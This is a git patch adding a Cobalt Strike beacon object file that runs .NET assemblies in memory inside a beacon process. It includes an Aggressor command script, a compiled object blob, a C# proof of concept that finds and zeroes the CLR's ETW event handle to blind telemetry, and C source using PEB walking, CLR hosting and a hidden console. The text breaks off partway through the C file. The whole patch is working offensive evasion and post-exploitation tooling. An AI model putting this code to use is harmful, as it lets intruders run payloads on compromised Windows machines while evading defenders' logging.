From 5ba772f900d467a2f7b4053a99fbb2b59fef8448 Mon Sep 17 00:00:00 2001 From: loland <73586395+loland@users.noreply.github.com> Date: Sat, 29 Nov 2025 16:37:28 +0800 Subject: [PATCH] Initial commit --- README.md | 0 inlineExecute/inlineExecute.cna | 67 +++ inlineExecute/inlineExecute.o | Bin 0 -> 15623 bytes src/EtwBypass.cs | 160 ++++++ src/inlineExecute.c | 719 +++++++++++++++++++++++ src/inlineExecute.h | 981 ++++++++++++++++++++++++++++++++ 6 files changed, 1927 insertions(+) create mode 100644 README.md create mode 100644 inlineExecute/inlineExecute.cna create mode 100644 inlineExecute/inlineExecute.o create mode 100644 src/EtwBypass.cs create mode 100644 src/inlineExecute.c create mode 100644 src/inlineExecute.h diff --git a/README.md b/README.md new file mode 100644 index 0000000..e69de29 diff --git a/inlineExecute/inlineExecute.cna b/inlineExecute/inlineExecute.cna new file mode 100644 index 0000000..08f36c9 --- /dev/null +++ b/inlineExecute/inlineExecute.cna @@ -0,0 +1,67 @@ +# inlineExecute.cna + +$help = "Usage: inlineExecute [-etw] [-verbose] "; + +beacon_command_register( + "inlineExecute", + "execute-assembly in the current process with ETW bypass", + $help +); + +alias inlineExecute { + $command = "inlineExecute"; + $commandLength = &strlen($command); + + $data = substr($0, $commandLength + 1); # +1 to include a " " space + $dataLength = &strlen($data); + + local('$bid $filepath $bof_args') + + @args = split(' ', $data); + + $patchEtw = false; + $verbose = false; + for ($i = 0; $i < size(@args); $i++) { + if (@args[$i] iswm "-etw") { + $patchEtw = true; + + } else if (@args[$i] iswm "-verbose") { + $verbose = true; + + } else { + $filepath = @args[$i]; + break; + } + } + + $filepathLength = &strlen($filepath); + if ($filepathLength == 0) { + blog($1, $help); + return; + } + + $handle = openf(script_resource("inlineExecute.o")); + $bof = readb($handle, -1); + + $assemblyHandle = openf($filepath); + $assemblyLength = lof($filepath); + $assemblyBytes = readb($assemblyHandle, -1); + + $assemblyArgs = ""; + if (size(@args) > ($i + 1)) { + $filepathIndex = &indexOf($data, $filepath); + $assemblyArgs = substr($data, $filepathIndex + $filepathLength + 1, $dataLength - ($filepath)); + } + + blog($1, "Executing: " . $filepath); + blog($1, "Arguments: " . $assemblyArgs); + + if (!-exists $filepath || !-isFile $filepath) { + blog($1, "File \"".$filepath."\" doesn't exist\n"); + return; + } + + $bof_args = bof_pack($1, "bizii", $assemblyBytes, $assemblyLength, $assemblyArgs, $patchEtw, $verbose); + + beacon_inline_execute($1, $bof, "go", $bof_args); +} \ No newline at end of file diff --git a/inlineExecute/inlineExecute.o b/inlineExecute/inlineExecute.o new file mode 100644 index 0000000000000000000000000000000000000000..880d27d20cb46ac77c0e0e3e98b39191dbbcf505 GIT binary patch literal 15623 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 handleAddrCount = new Dictionary(); + + String[] pattern = new string[] { "48", "8b", "0d", "??", "??", "??", "??", "e8" }; + + for (long addr = (long)clrBase; addr < (long)(clrEnd - pattern.Length); addr++) { + for (int i = 0; i < pattern.Length; i++) { + if (pattern[i] == "??") { + continue; + } + + int b = Marshal.ReadByte((IntPtr)addr + i); + int target_b = Convert.ToInt32(pattern[i], 16); + + if (b != target_b) { + break; + } + + if (i != pattern.Length - 1) { + continue; + } + + int callOffset = Marshal.ReadInt32((IntPtr)addr + pattern.Length); + IntPtr rip = (IntPtr)(addr + pattern.Length + 4); + IntPtr callAddr = rip + callOffset; + //Console.WriteLine("Signature found at: 0x" + addr.ToString("X")); + //Console.WriteLine("Call to: 0x" + callAddr.ToString("X")); + + if (!isEtwFunction(callAddr, etwEventWriteAddr)) { + continue; + } + + //Console.WriteLine("Found!"); + int handleOffset = Marshal.ReadInt32((IntPtr)addr + 3); + IntPtr handleAddr = (IntPtr)addr + 7 + handleOffset; + + Console.WriteLine("Handle: 0x" + handleAddr.ToString("X")); + + if (handleAddrCount.ContainsKey(handleAddr)) { + handleAddrCount[handleAddr]++; + } else { + handleAddrCount[handleAddr] = 1; + } + } + } + + IntPtr topAddr = IntPtr.Zero; + foreach (var item in handleAddrCount) { + if (topAddr == IntPtr.Zero || item.Value > handleAddrCount[topAddr]) { + topAddr = item.Key; + } + } + + return topAddr; + } + + static void TurnOffETW(IntPtr DotNETRuntimeHandle_addr, out long DotNETRuntimeHandle_val) { + DotNETRuntimeHandle_val = Marshal.ReadInt64(DotNETRuntimeHandle_addr); + Marshal.WriteInt64(DotNETRuntimeHandle_addr, 0); + Console.WriteLine("DotNETRuntimeHandle: 0x" + DotNETRuntimeHandle_val.ToString("X")); + } + + static void TurnOnETW(IntPtr DotNETRuntimeHandle_addr, long DotNETRuntimeHandle_val) { + Marshal.WriteInt64(DotNETRuntimeHandle_addr, DotNETRuntimeHandle_val); + } + + static IntPtr GetImageBase(String dllName) { + foreach (ProcessModule module in Process.GetCurrentProcess().Modules) { + if (module.ModuleName.Equals(dllName, StringComparison.OrdinalIgnoreCase)) { + return module.BaseAddress; + } + } + return IntPtr.Zero; + } + + static void Main(string[] args) { + IntPtr clrBase = GetImageBase("clr.dll"); + Console.WriteLine("clr.dll located at " + clrBase.ToString("X")); + + IntPtr DotNETRuntimeHandle_addr = FindDotNETRuntimeHandle(); + Console.WriteLine("FindDotNETRuntimeHandle: 0x" + DotNETRuntimeHandle_addr.ToString("X")); + + long DotNETRuntimeHandle_val = 0; + TurnOffETW(DotNETRuntimeHandle_addr, out DotNETRuntimeHandle_val); + + // filename is the .NET assembly executable on disk to load. + String filename = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\RegAsm.exe"; + Byte[] bytes = File.ReadAllBytes(filename); + Assembly asm = Assembly.Load(bytes); + Console.WriteLine(asm); + + TurnOnETW(DotNETRuntimeHandle_addr, DotNETRuntimeHandle_val); + } + } +} \ No newline at end of file diff --git a/src/inlineExecute.c b/src/inlineExecute.c new file mode 100644 index 0000000..72895b4 --- /dev/null +++ b/src/inlineExecute.c @@ -0,0 +1,719 @@ +#include +#include + +#include "beacon.h" +#include "inlineExecute.h" + +#pragma comment(lib, "mscoree.lib") +#pragma comment(lib, "ole32.lib") +#pragma comment(lib, "oleaut32.lib") + +// WinAPI function declarations +typedef BOOL (WINAPI *_CreatePipe)(PHANDLE, PHANDLE, LPSECURITY_ATTRIBUTES, DWORD); +typedef BOOL (WINAPI *_SetStdHandle)(DWORD, HANDLE); +typedef HANDLE (WINAPI *_GetStdHandle)(DWORD); +typedef BOOL (WINAPI *_ReadFile)(HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED); +typedef BOOL (WINAPI *_CloseHandle)(HANDLE); +typedef BOOL (WINAPI *_AllocConsole)(VOID); +typedef HWND (WINAPI *_GetConsoleWindow)(VOID); +typedef BOOL (WINAPI *_ShowWindow)(HWND, int); +typedef BOOL (WINAPI *_FreeConsole)(VOID); +typedef DWORD (WINAPI *_GetTickCount)(VOID); + +// MSVCRT function declarations +DECLSPEC_IMPORT int __cdecl MSVCRT$_wcsicmp(const wchar_t*, const wchar_t*); +DECLSPEC_IMPORT int __cdecl MSVCRT$sprintf(char*, const char*, ...); +DECLSPEC_IMPORT void __cdecl MSVCRT$free(void*); + +// Structure to hold all COM objects for cleanup +typedef struct _CLRContext { + ICLRMetaHost* pClrMetaHost; + ICLRRuntimeInfo* pRuntimeInfo; + ICorRuntimeHost* pCorRuntimeHost; + IUnknown* pAppDomainThunk; + AppDomain* pDefaultAppDomain; + Assembly* pAssembly; + MethodInfo* pMethodInfo; +} CLRContext; + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING; + +typedef struct _PEB_LDR_DATA { + BYTE Reserved1[8]; + PVOID Reserved2[3]; + LIST_ENTRY InMemoryOrderModuleList; +} PEB_LDR_DATA; + +typedef struct _LDR_DATA_TABLE_ENTRY { + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD LoadCount; + WORD TlsIndex; + union { + LIST_ENTRY HashLinks; + struct { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + PVOID EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; +} LDR_DATA_TABLE_ENTRY; + +// PEB struct for peb-walk +typedef struct _PEB { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2[1]; + PVOID Reserved3[2]; + PEB_LDR_DATA* Ldr; +} PEB; + +// Obtain DLL imagebase via PEB-walk +static HMODULE getImageBase(WCHAR* targetDllName) { + PEB* peb = (PEB*)__readgsqword(0x60); + PEB_LDR_DATA* ldr = peb->Ldr; + LIST_ENTRY* head = &ldr->InMemoryOrderModuleList; + LIST_ENTRY* curr = head->Flink; + + while (curr != head) { + LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); + if (entry->DllBase == NULL) { + break; + } + + WCHAR* dllName = (WCHAR*)entry->BaseDllName.Buffer; + + void* dllBase = entry->DllBase; + if (MSVCRT$_wcsicmp(dllName, targetDllName) == 0) { + return dllBase; + } + curr = curr->Flink; + } + return NULL; +} + +// Obtain WinAPI ptr via PEB-walk +static void* getProcAddr(void* imageBase, char* exportName) { + IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)imageBase; + IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)((BYTE*)imageBase + dos->e_lfanew); + IMAGE_EXPORT_DIRECTORY* exportDir = + (IMAGE_EXPORT_DIRECTORY*)((BYTE*)imageBase + + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + DWORD* namesRVA = (DWORD*)((BYTE*)imageBase + exportDir->AddressOfNames); + WORD* ordinals = (WORD*)((BYTE*)imageBase + exportDir->AddressOfNameOrdinals); + DWORD* functions = (DWORD*)((BYTE*)imageBase + exportDir->AddressOfFunctions); + + for (DWORD i = 0; i < exportDir->NumberOfNames; i++) { + char* funcName = (char*)imageBase + namesRVA[i]; + WORD ordinal = ordinals[i]; + void* funcAddr = (BYTE*)imageBase + functions[ordinal]; + + if (MSVCRT$strcmp(funcName, exportName) == 0) { + return funcAddr; + } + } + + return NULL; +} + +static BOOL startCLR(CLRContext* ctx, size_t verbose) { + HRESULT hr; + + // Initialize CLR FIRST + hr = MSCOREE$CLRCreateInstance(&xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)&ctx->pClrMetaHost); + if (FAILED(hr)) { + BeaconPrintf(CALLBACK_ERROR, "[-] CLRCreateInstance failed: 0x%x\n", hr); + return FALSE; + } + + hr = ctx->pClrMetaHost->lpVtbl->GetRuntime(ctx->pClrMetaHost, L"v4.0.30319", &xIID_ICLRRuntimeInfo, (LPVOID*)&ctx->pRuntimeInfo); + if (FAILED(hr)) { + BeaconPrintf(CALLBACK_ERROR, "[-] GetRuntime failed: 0x%08x\n", hr); + ctx->pClrMetaHost->lpVtbl->Release(ctx->pClrMetaHost); + return FALSE; + } + + if (verbose) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Runtime info obtained\n"); + } + + BOOL loadable; + hr = ctx->pRuntimeInfo->lpVtbl->IsLoadable(ctx->pRuntimeInfo, &loadable); + if (FAILED(hr) || !loadable) { + BeaconPrintf(CALLBACK_ERROR, "[-] Runtime is not loadable: 0x%08x (loadable: %d)\n", hr, loadable); + ctx->pRuntimeInfo->lpVtbl->Release(ctx->pRuntimeInfo); + ctx->pClrMetaHost->lpVtbl->Release(ctx->pClrMetaHost); + return FALSE; + } + + if (verbose) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Runtime is loadable\n"); + } + + ICorRuntimeHost* pCorRuntimeHost = NULL; + hr = ctx->pRuntimeInfo->lpVtbl->GetInterface(ctx->pRuntimeInfo, &xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, (LPVOID*)&ctx->pCorRuntimeHost); + if (FAILED(hr)) { + BeaconPrintf(CALLBACK_ERROR, "[-] GetInterface failed: 0x%08x\n", hr); + ctx->pRuntimeInfo->lpVtbl->Release(ctx->pRuntimeInfo); + ctx->pClrMetaHost->lpVtbl->Release(ctx->pClrMetaHost); + return FALSE; + } + + if (verbose) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] ICorRuntimeHost obtained\n"); + } + + hr = ctx->pCorRuntimeHost->lpVtbl->Start(ctx->pCorRuntimeHost); + if (FAILED(hr)) { + BeaconPrintf(CALLBACK_ERROR, "[-] CLR Start failed: 0x%08x\n", hr); + ctx->pCorRuntimeHost->lpVtbl->Release(ctx->pCorRuntimeHost); + ctx->pRuntimeInfo->lpVtbl->Release(ctx->pRuntimeInfo); + ctx->pClrMetaHost->lpVtbl->Release(ctx->pClrMetaHost); + return FALSE; + } + + if (verbose) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] CLR started successfully\n"); + } + return TRUE; +} + +static BOOL createPipe(HMODULE kernel32Base, HANDLE* phReadPipe, HANDLE* phWritePipe, size_t verbose) { + SECURITY_ATTRIBUTES sa; + sa.nLength = sizeof(SECURITY_ATTRIBUTES); + sa.bInheritHandle = TRUE; + sa.lpSecurityDescriptor = NULL; + + // NOW create pipe and console (AFTER CLR is started) + _CreatePipe pCreatePipe = (_CreatePipe)getProcAddr(kernel32Base, "CreatePipe"); + + // request for 1mb buffer + if (!pCreatePipe(phReadPipe, phWritePipe, &sa, 1048576)) { + BeaconPrintf(CALLBACK_ERROR, "[-] CreatePipe failed\n"); + return FALSE; + } + + if (verbose) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Anonymous pipe created\n"); + } + return TRUE; +} + +static BOOL createConsole(HMODULE kernel32Base, size_t verbose) { + _GetConsoleWindow pGetConsoleWindow = (_GetConsoleWindow)getProcAddr(kernel32Base, "GetConsoleWindow"); + + BOOL consoleExisted = (pGetConsoleWindow() != NULL); + BOOL allocatedConsole = FALSE; + + if (!consoleExisted) { + _AllocConsole pAllocConsole = (_AllocConsole)getProcAddr(kernel32Base, "AllocConsole"); + pAllocConsole(); + allocatedConsole = TRUE; + + HMODULE hUser32 = GetModuleHandleA("user32.dll"); + _ShowWindow pShowWindow = (_ShowWindow)GetProcAddress(hUser32, "ShowWindow"); + HWND hWnd = pGetConsoleWindow(); + if (hWnd) { + pShowWindow(hWnd, 0); + } + + if (verbose) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Console created and hidden\n"); + } + } + + return allocatedConsole; +} + +static HANDLE redirectPipes(HMODULE kernel32Base, HANDLE hReadPipe, HANDLE hWritePipe, size_t verbose) { + _SetStdHandle pSetStdHandle = (_SetStdHandle)getProcAddr(kernel32Base, "SetStdHandle"); + _GetStdHandle pGetStdHandle = (_GetStdHandle)getProcAddr(kernel32Base, "GetStdHandle"); + + // Save original stdout + HANDLE hOriginalStdout = pGetStdHandle(STD_OUTPUT_HANDLE); + + if (hOriginalStdout == INVALID_HANDLE_VALUE) { + return NULL; + } + + // Set stdout to write pipe handle + pSetStdHandle(STD_OUTPUT_HANDLE, hWritePipe); + pSetStdHandle(STD_ERROR_HANDLE, hWritePipe); + + if (verbose) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Redirected stdout/stderr to pipe\n"); + } + + return hOriginalStdout; +} + +static BOOL createAppDomain(HMODULE kernel32Base, CLRContext* ctx, HANDLE hOriginalStdout, size_t verbose) { + _SetStdHandle pSetStdHandle = (_SetStdHandle)getProcAddr(kernel32Base, "SetStdHandle"); + + HRESULT hr; + hr = ctx->pCorRuntimeHost->lpVtbl->CreateDomain(ctx->pCorRuntimeHost, (LPCWSTR)L"placeholder_domain", NULL, &ctx->pAppDomainThunk); + if (FAILED(hr)) { + BeaconPrintf(CALLBACK_ERROR, "[-] CreateDomain failed: 0x%08x\n", hr); + return FALSE; + } + + hr = ctx->pAppDomainThunk->lpVtbl->QueryInterface(ctx->pAppDomainThunk, &xIID_AppDomain, (VOID**)&ctx->pDefaultAppDomain); + if (FAILED(hr)) { + BeaconPrintf(CALLBACK_ERROR, "[-] QueryInterface for AppDomain failed: 0x%08x\n", hr); + return FALSE; + } + + if (verbose) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] AppDomain Created\n"); + } + return TRUE; +} + +static BOOL loadAssembly(HMODULE kernel32Base, unsigned char* assemblyBytes, size_t assemblyLength, HANDLE hOriginalStdout, CLRContext* ctx, size_t verbose) { + _SetStdHandle pSetStdHandle = (_SetStdHandle)getProcAddr(kernel32Base, "SetStdHandle"); + + SAFEARRAYBOUND bounds[1]; + bounds[0].cElements = assemblyLength; + bounds[0].lLbound = 0; + + SAFEARRAY* pSafeArray = OLEAUT32$SafeArrayCreate(VT_UI1, 1, bounds); + if (pSafeArray == NULL) { + BeaconPrintf(CALLBACK_ERROR, "[-] Failed to create SafeArray\n"); + return FALSE; + } + + void* pvData = NULL; + HRESULT hr; + hr = OLEAUT32$SafeArrayAccessData(pSafeArray, &pvData); + if (FAILED(hr)) { + BeaconPrintf(CALLBACK_ERROR, "[-] SafeArrayAccessData failed: 0x%08x\n", hr); + OLEAUT32$SafeArrayDestroy(pSafeArray); + return FALSE; + } + + MSVCRT$memcpy(pvData, assemblyBytes, assemblyLength); + + hr = OLEAUT32$SafeArrayUnaccessData(pSafeArray); + if (FAILED(hr)) { + BeaconPrintf(CALLBACK_ERROR, "[-] SafeArrayUnaccessData failed: 0x%08x\n", hr); + OLEAUT32$SafeArrayDestroy(pSafeArray); + return FALSE; + } + + hr = ctx->pDefaultAppDomain->lpVtbl->Load_3(ctx->pDefaultAppDomain, pSafeArray, &ctx->pAssembly); + if (FAILED(hr)) { + BeaconPrintf(CALLBACK_ERROR, "[-] Load_3 failed: 0x%08x\n", hr); + OLEAUT32$SafeArrayDestroy(pSafeArray); + return FALSE; + } + + if (verbose) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Assembly Loaded\n"); + } + + hr = ctx->pAssembly->lpVtbl->EntryPoint(ctx->pAssembly, &ctx->pMethodInfo); + if (hr != S_OK) { + BeaconPrintf(CALLBACK_ERROR, "[-] Process refusing to find entry point of assembly.\n"); + return FALSE; + } + + return TRUE; +} + +static wchar_t** parseArgs(char* assemblyArgs, int* argc) { + size_t converted = 0; + size_t len = MSVCRT$strlen(assemblyArgs) + 1; + wchar_t* assemblyArgsW = (wchar_t*)MSVCRT$malloc(len * sizeof(wchar_t)); + MSVCRT$mbstowcs_s(&converted, assemblyArgsW, len, assemblyArgs, _TRUNCATE); + LPWSTR* argv = SHELL32$CommandLineToArgvW(assemblyArgsW, argc); + + return argv; 